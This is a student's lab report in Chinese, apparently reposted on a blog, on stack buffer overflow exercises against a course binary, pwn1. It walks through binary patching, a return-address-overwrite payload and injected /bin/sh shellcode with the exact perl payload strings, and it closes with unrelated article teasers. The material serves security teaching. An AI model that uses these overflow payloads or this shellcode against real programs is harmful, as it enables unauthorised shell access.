20232820 2023-2024-2 《网络攻防实践》实践九报告

20232820 2023-2024-2 《网络攻防实践》实践九报告

1.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

2.实践过程

手工修改可执行文件

将kali虚拟机名称改为:20232820cyl
在这里插入图片描述
下载学习通中pwn1文件至kali中
在这里插入图片描述
先进入Desktop目录下,并输入指令objdump -d pwn1 |more,对pwn1文件进行反汇编操作
在这里插入图片描述

可以找到getShell、foo、main等函数
在这里插入图片描述

找到main函数和getshell函数(按Esc后输入/getShell进行搜索),可以看到在main函数中按照正常的运行顺序,执行到call处,EIP应该会指向0x08048ba + 0xffffffd7 = 0x08048491即foo函数的入口地址,所以我们需要修改该偏移量(0xffffffd7)使执行call后EIP指向0x080487d,即getShell函数入口,因此需要将0xffffffd7改为0xffffffc3(0x0804847d - 0x080484ba = 0xffffffc3)。
先输入指令 cp pwn1 pwn20232820cyl对pwn1文件进行保护,防止破坏。
在这里插入图片描述
用指令vim pwn20232820cyl打开后显示乱码
在这里插入图片描述
按Esc,并输入:%xxd,切换至16进制模式
在这里插入图片描述
按下Esc并输入指令:wq保存并退出。
并输入指令ls -l查看文件权限。
在这里插入图片描述
再次输入指令vim pwn20232820cyl,进入文件并进行修改。输入指令/e8 d7 找到要修改内容的位置,并将d7改为c3
在这里插入图片描述

在这里插入图片描述
按下Esc,并输入指令:%!xxd -r转换为原来格式。
在这里插入图片描述
按下Esc,并输入指令:wq!保存并退出。
在这里插入图片描述
输入指令 objdump -d pwn20232820cyl |more进行验证
发现修改成功

利用foo函数的Bof漏洞,构造一个攻击输入字符串

可以看到getShell起始函数地址为 804847d
在这里插入图片描述
在kali终端输入指令 sudo apt install gdb,已存在gdb
在这里插入图片描述
输入指令sudo chmod 775 pwn1提权
并调试pwn1程序
在这里插入图片描述
输入r,运行这个文件
在这里插入图片描述
输入一定长字符串输入一定长字符串:1234567812345678123456781234567812345678
程序输出该字符串,报错“Segmentation fault”,程序无法正常退出,产生溢出:
在这里插入图片描述
输入info r查看寄存器eip的值:
0x35353535 表示 5555,发现输入的后几位的“5”覆盖到了堆栈上的返回地址,但不知道是具体哪几位的5被覆盖,所以需要修改字符重新具体定位。然后只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。
在这里插入图片描述
继续输入r
并输入1111111122222222333333334444444412345678:
再次查看指令寄存器eip内的值为:0x34333231,表示4321。
由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值,所以接下来我们需要修改1234的值为0x 08 04 84 7d进行覆盖。
在这里插入图片描述
打开一个新终端并输入指令perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input
在这里插入图片描述
然后输入命令xxd input:
在这里插入图片描述
输入指令(cat input; cat) | ./pwn1
在这里插入图片描述
最后输入ls进行测试,发现程序成功调用getShell函数
在这里插入图片描述

注入Shellcode并执行

下载并安装execstack
在这里插入图片描述
设置堆栈可执行
在这里插入图片描述
查询文件的堆栈是否可执行
在这里插入图片描述
查询是否关闭地址随机化
在这里插入图片描述
使用如下命令构建字符串并保存到input_shellcode中,其中前四字节还不确定,使用12 34h填充
在这里插入图片描述

然后在该终端运行(cat input_20222948;cat) | ./pwn1注入这段攻击buf
在这里插入图片描述
打开另一个终端输入指令ps -ef | grep pwn,pwn进程为93082
在这里插入图片描述

在新终端输入指令gdb后,用指令attach 93082启动gdb调试这个进程
在这里插入图片描述
输入指令disassemble foo进行反汇编并设置断点
在这里插入图片描述
输入指令b *0x080484ae设置断点,输入c继续运行
在这里插入图片描述
在正在运行的终端敲回车,使其继续执行

在这里插入图片描述
在这里插入图片描述
再返回调试终端,输入info r esp命令
在这里插入图片描述
输入x/16x 0xffb1154c命令查看其存放内容,看到了0x04030201 ,就是返回地址的位置。我们构造的input_shellcode可知,shellcode就在其后。
在这里插入图片描述接下来只需要将之前的\x4\x3\x2\x1替换所以retaddr地址应为0xffb1154c + 0x00000004 = 0xffb1
1550。
输入命令perl -e ‘print “A” x 32;print “\x50\x15\xb1\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a”’ > input_shellcode

输入指令(cat input_shellcode;cat) | ./pwn1重新运行程序
在这里插入图片描述

这时我们发现我们已经成功地获得了Shell

3.学习中遇到的问题及解决

  • 问题1:在kali中直接使用命令行下载execstack失败
  • 问题1解决方案:通过询问同学,在网站下载后并安装
  • 问题2:在修改可执行文件后再次查看时出现格式错误
  • 问题2解决方案:重新进行实验,在修改后保存再退出

4.实践总结

通过本次实践学习了手工修改可执行文件,并进一步了解foo函数的Bof漏洞,提高了对缓冲区溢出和shellcode的理解。但我认识到自己还有很多不足,需要进一步学习,提高自己。

参考资料

  • 逆向及Bof基础实践说明

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/609271.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

从开发角度理解漏洞成因(02)

文章目录 文件上传类需求文件上传漏洞 文件下载类需求文件下载漏洞 扩展 留言板类(XSS漏洞)需求XSS漏洞 登录类需求cookie伪造漏洞万能密码登录 持续更新中… 文章中代码资源已上传资源,如需要打包好的请点击PHP开发漏洞环境(SQL注…

当导师和学生陷入「隐形冲突」

::: block-1 “时问桫椤”是一个致力于为本科生到研究生教育阶段提供帮助的不太正式的公众号。我们旨在在大家感到困惑、痛苦或面临困难时伸出援手。通过总结广大研究生的经验,帮助大家尽早适应研究生生活,尽快了解科研的本质。祝一切顺利!—…

AI写的论文AI疑似度太高怎么办?教你一招解决

随着 AI 技术迅猛发展,各种AI辅助论文写作的工具层出不穷! 为了防止有人利用AI工具进行论文代写,在最新的学位法中已经明确规定“已经获得学位者,在获得该学位过程中如有人工智能代写等学术不端行为,经学位评定委员会…

易基因:Nature子刊:ChIP-seq等揭示c-di-AMP与DasR互作以调控细菌生长、发育和抗生素合成|项目文章

大家好,这里是专注表观组学十余年,领跑多组学科研服务的易基因。 c-di-AMP是一种在细菌信号中普遍存在且至关重要的核苷酸第二信使,对于大多数c-di-AMP合成生物体来说,c-di-AMP稳态及其信号转导的分子机制非常值得关注。 2024年…

智慧仓储可视化大屏,以最直观的形式展示海量数据。

智慧仓储可视化大屏是一种通过数据可视化技术,将仓储管理系统中的海量数据以图表、地图、仪表盘等形式直观展示在大屏上的解决方案。它可以帮助仓储管理人员更清晰地了解仓库的运营情况,从而做出更明智的决策。 智慧仓储可视化大屏通常包括以下功能和特点…

护眼灯有没有护眼的效果?六大技巧教你选到护眼效果好的护眼台灯

随着孩子学习压力增大,护眼灯的重要性日益凸显。那么,护眼灯有没有护眼的效果?答案是肯定的,但关键在于如何挑选。本文将分享六大选购技巧,帮助大家挑选到护眼效果卓越的台灯,确保孩子在明亮而舒适的光线下…

论文AI疑似度太高怎么办?教你一招解决AIGC降重问题

随着 AI 技术迅猛发展,各种AI辅助论文写作的工具层出不穷! 为了防止有人利用AI工具进行论文代写,在最新的学位法中已经明确规定“已经获得学位者,在获得该学位过程中如有人工智能代写等学术不端行为,经学位评定委员会…

苹果15能用哪些充电宝?充电宝什么牌子好?好用充电宝排名

随着移动设备的普及和功能的不断强大,我们对于充电宝的需求也越来越高。尤其是对于苹果15用户来说,选择一款兼容性好、性能稳定的充电宝显得尤为重要。在市面上众多充电宝品牌中,如何选择适合苹果15的充电宝?究竟哪个牌子的充电宝…

【密评】 | 商用密码应用安全性评估从业人员考核题库(7/58)

量子密钥分发(QKD)技术采用()作为信息载体,经由量子通道在合法的用户之间传送密钥。 A. 数据 B. 电流 C. 量子态 D. 文本 置换(permutation)密码是把明文中的各字符()得…

tag-字符串:最长公共前缀

题目 编写一个函数来查找字符串数组中的最长公共前缀。 如果不存在公共前缀,返回空字符串 “”。 示例 题解一 class Solution:def longestCommonPrefix(self, strs: List[str]) -> str:# 按照字典顺序找到strs中最大的字符串和最小的字符串str0 min(strs)st…

深入了解二叉搜索树:原理、操作与应用

文章目录 二叉搜索树二叉搜索树的操作1.查找操作2.插入操作3.查找最大值或者最小值4.删除操作5.前序中序后序遍历 总结 二叉搜索树 形如上图的二叉树就是二叉搜索树,接下来我们来具体阐述一下什么是二叉搜索树。 二叉搜索树的概念:满足左子树的值小于根…

winform图书销售管理系统+mysql

winform图书销售管理系统mysql数据库说明文档 运行前附加数据库.mdf(或sql生成数据库) 功能模块: 管理员:ttt 123 登陆可以操作我的 个人信息 修改密码 用户信息 添加删除用户 图书 添加删除图书信息 购物车 购买订单信息 充值 退出账户 …

网络安全之弱口令与命令爆破(下篇)(技术进阶)

目录 一,什么是弱口令? 二,为什么会产生弱口令呢? 三,字典的生成 四,九头蛇(hydra)弱口令爆破工具 1,破解ssh登录密码 2,破解windows登录密码 3&#xf…

Cesium的使用和特点

Cesium 是一款开源的 JavaScript 库,用于在 Web 上可视化地理空间数据。它广泛用于创建 3D 地球、地图和其他地理空间应用程序。Cesium 具有以下特点使其成为地理空间开发的流行选择。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交…

华为OD机试 - 手机App防沉迷系统(Java 2024 C卷 100分)

华为OD机试 2024C卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试(JAVA)真题(A卷B卷C卷)》。 刷的越多,抽中的概率越大,每一题都有详细的答题思路、详细的代码注释、样例测试…

git合并分支

1、vscode安装插件Git Graph 2、点击右下角分支,比如要把dev分支合并到其他分支 首先dev分支的全部提交了,然后切换到其他分支 3、选择被合并的分支 点提交就好了

中医课堂丨名医面对面,金保方教授专场健康科普交流圆满举行

5月8日下午,李良济特邀金保方教授,在苏州太湖国际高尔夫俱乐部,以“生殖健康漫谈”为主题开展专场科普交流活动,参与的嘉宾表示受益匪浅,反响强烈。 本次活动主要包含了专家讲座、专家答疑义诊,现在就让我…

Java基础编程(高级部分)

1. 类变量和类方法 1.1 什么是类变量 类变量也叫静态变量/静态属性,是该类的所有对象共享的变量,任何一个该类的对象去访问它时,取到的都是相同的值同样任何一个该类的对象去修改它时,修改的也是同一个变量。 1.2 定义类变量 1.3 访问类变量 类名.类变量名 或者 对…

【GD32H757Z海棠派使用手册】第七讲 FWDG-看门狗实验

7.1 实验内容 通过本实验主要学习以下内容: 独立看门狗的原理 独立看门狗功能介绍 实现独立看门狗功能 7.2 实验原理 7.2.1 看门狗的原理 一般来说,搭配MCU的产品都需要有长期运行的需求,特别像一些工业设备,可能要求运行个…

微信团队开源的跨平台数据库框架 | 开源日报 No.249

Tencent/wcdb Stars: 10.4k License: NOASSERTION wcdb 是由微信开发的跨平台数据库框架。 该项目主要功能、关键特性、核心优势包括: 易于使用ORM(对象关系映射)WINQ(WCDB 语言集成查询)高效性能多线程并发支持完备…